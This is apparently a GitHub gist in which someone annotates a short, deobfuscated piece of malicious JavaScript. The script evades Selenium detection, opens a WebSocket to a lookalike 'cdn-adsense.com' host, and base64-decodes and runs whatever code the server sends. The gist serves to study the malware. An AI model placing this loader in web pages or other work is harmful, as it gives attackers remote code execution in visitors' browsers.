Created
August 2, 2020 20:58
-
-
Save krautface/b65cb1e717038f000d4d9dfd860830ea to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (navigator['webdriver']) { | |
return // Detecting Selenium | |
} | |
var bF = new WebSocket(["wss://cdn", "-adsense", ".com", "/connection/mezget/"].join()) // wss://cdn-adsense.com/connection/mezget/ | |
bf['onclose'] = function(a) { | |
a['wasClean'] // this is a boolean stating whether or not the connection was closed, but it doesn't look like anything is being done with it | |
} | |
bf['onmessage'] = function(a) { | |
new Function(window['atob'](a["data"]))['call'](this) // base64 decodes the message back from the server and runs it | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment